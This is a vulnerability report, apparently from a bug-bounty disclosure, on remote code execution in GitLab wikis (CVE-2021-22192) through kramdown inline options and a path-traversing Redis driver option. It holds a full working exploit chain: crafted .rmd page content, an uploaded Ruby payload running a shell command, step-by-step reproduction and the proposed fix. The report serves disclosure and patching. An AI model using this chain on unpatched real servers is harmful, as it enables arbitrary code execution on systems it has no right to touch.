GitLab 未授权RCE漏洞(CVE-2021-22192)


When rendering wiki content with certain extensions such as `.rmd`, `render_wiki_content` will call [`other_markup_unsafe`](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.9.3-ee/app/helpers/markup_helper.rb#L145) which will end up calling `GitHub::Markup.render` from the `github-markup` gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back. Since `kramdown` is loaded, this will end up using it for the [markdown parser](https://github.com/github/markup/blob/v1.7.0/lib/github/markup/markdown.rb#L23) by calling `Kramdown::Document.new(content).to_html` Kramdown has a special extension that allows for options to be [set inline](https://kramdown.gettalong.org/options.html), the example they give is: `{::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}` The default syntax highlighter is `rouge` which has an option [`formatter`](https://kramdown.gettalong.org/syntax_highlighter/rouge.html) that can be set via `syntax_highlighter_opts` in the inline options. This option gets used by [`formatter_class`](https://github.com/gettalong/kramdown/blob/REL_2_3_0/lib/kramdown/converter/syntax_highlighter/rouge.rb#L73): ``` def self.call(converter, text, lang, type, call_opts) opts = options(converter, type) call_opts[:default_lang] = opts[:default_lang] return nil unless lang || opts[:default_lang] || opts[:guess_lang] lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text) return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang]) opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0 formatter = formatter_class(opts).new(opts) formatter.format(lexer.lex(text)) end def self.formatter_class(opts = {}) puts "formatter" puts opts[:formatter] case formatter = opts[:formatter] when Class formatter when /\A[[:upper:]][[:alnum:]_]*\z/ ::Rouge::Formatters.const_get(formatter) else # Available in Rouge 2.0 or later ::Rouge::Formatters::HTMLLegacy end rescue NameError # Fallback to Rouge 1.x ::Rouge::Formatters::HTML end ``` So this a means that `::Rouge::Formatters.const_get(opts[:formatter]).new(opts)` will be called, where `opts` is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of `/\A[[:upper:]][[:alnum:]_]*\z/` passes. The validation slightly restricts things, but pretty much any class without a namespace (`::` is not allowed) can be created. For example (the two `~~` should have an extra `~` but it's messing up the h1 formatting so will need to add it): ``` {::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /} ~~ ruby def what? 42 end ~~ ``` Will result in a `CSV` object being created and then it will error with `private method 'format' called for #<CSV:0x00007fe4df7e26d0>` as it tries to use this as the formatter. One of the loaded classes is gitlab is `Redis` from [redis-rb](https://github.com/redis/redis-rb) which has an option `driver` that is used to load the driver class: https://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507 ``` def _parse_driver(driver) driver = driver.to_s if driver.is_a?(Symbol) if driver.kind_of?(String) begin require_relative "connection/#{driver}" rescue LoadError, NameError => e begin require "connection/#{driver}" rescue LoadError, NameError => e raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}" end end driver = Connection.const_get(driver.capitalize) end driver end ``` As both `require_relative` and `require` allow for directory traversal, supplying a `driver` option such as `../../../../../../../../../../tmp/a.rb` will cause that file to be evaluated. One of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: `[file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb)`. The default `gitlab_rails['uploads_directory']` is `/var/opt/gitlab/gitlab-rails/uploads` meaning the final file location will be `/var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb`. Combining all of of this, we can create the following `.rmd` file to execute our payload (add `~` to both of the `~~`): ``` {::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\}" /} ~~ ruby def what? 42 end ~~ ``` ### Steps to reproduce 1. Create a new snippet with any title and file 2. In the description, click `Attach a file` and select the final ruby payload such as: ``` puts "hello from ruby" `echo vakzz was here > /tmp/vakzz` ​``` ``` 3. Make note of the upload path: `/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb` 4. Create a new project 5. Click Wiki and create a default home page 6. Hit `Clone repository` to get the clone command 7. Clone the repo `git clone git@gitlab-docker.local:root/proj1.wiki.git` and add the following file `page1.rmd` using the path from above (add `~` to both the the `~~`): ``` {::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\}" /} ~~ ruby def what? 42 end ~~ ​``` ``` 8. Push the changes `git add -A . && git commit -m "page1.rmd" && git push` 9. Refresh the wiki, there should now be `page1 ` of the right hand side 10. Click and load `page1` 11. In the gitlab logs you should see something like: ``` wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb lib/gitlab/other_markup.rb:11:in `render' app/helpers/markup_helper.rb:280:in `other_markup_unsafe' app/helpers/markup_helper.rb:145:in `markup_unsafe' app/helpers/markup_helper.rb:130:in `render_wiki_content' app/views/shared/wikis/show.html.haml:30 ​``` ``` 12. Looking at `/tmp` you can see that the payload was executed: ``` root@gitlab-docker:~# cat /tmp/vakzz vakzz was here ​``` ``` ### Impact Allows any user with push access to a wiki to execute arbitrary ruby code. ### Examples Example page using the inline options to change the highlighter from rouge to `minted` - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1 ### What is the current *bug* behavior? Inline options can be set when rendering kramdown documents ### What is the expected *correct* behavior? `forbidden_inline_options` could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html ### Output of checks #### Results of GitLab environment info ``` System information System: Proxy: no Current User: git Using RVM: no Ruby Version: 2.7.2p137 Gem Version: 3.1.4 Bundler Version:2.1.4 Rake Version: 13.0.3 Redis Version: 6.0.10 Git Version: 2.29.0 Sidekiq Version:5.2.9 Go Version: unknown GitLab information Version: 13.9.1-ee Revision: 8ae438629fa Directory: /opt/gitlab/embedded/service/gitlab-rails DB Adapter: PostgreSQL DB Version: 12.5 URL: http://gitlab-docker.local HTTP Clone URL: http://gitlab-docker.local/some-group/some-project.git SSH Clone URL: git@gitlab-docker.local:some-group/some-project.git Elasticsearch: no Geo: no Using LDAP: no Using Omniauth: yes Omniauth Providers: GitLab Shell Version: 13.16.1 Repository storage paths: - default: /var/opt/gitlab/git-data/repositories GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell Git: /opt/gitlab/embedded/bin/git ``` ## Impact Allows any user with push access to a wiki to execute arbitrary ruby code.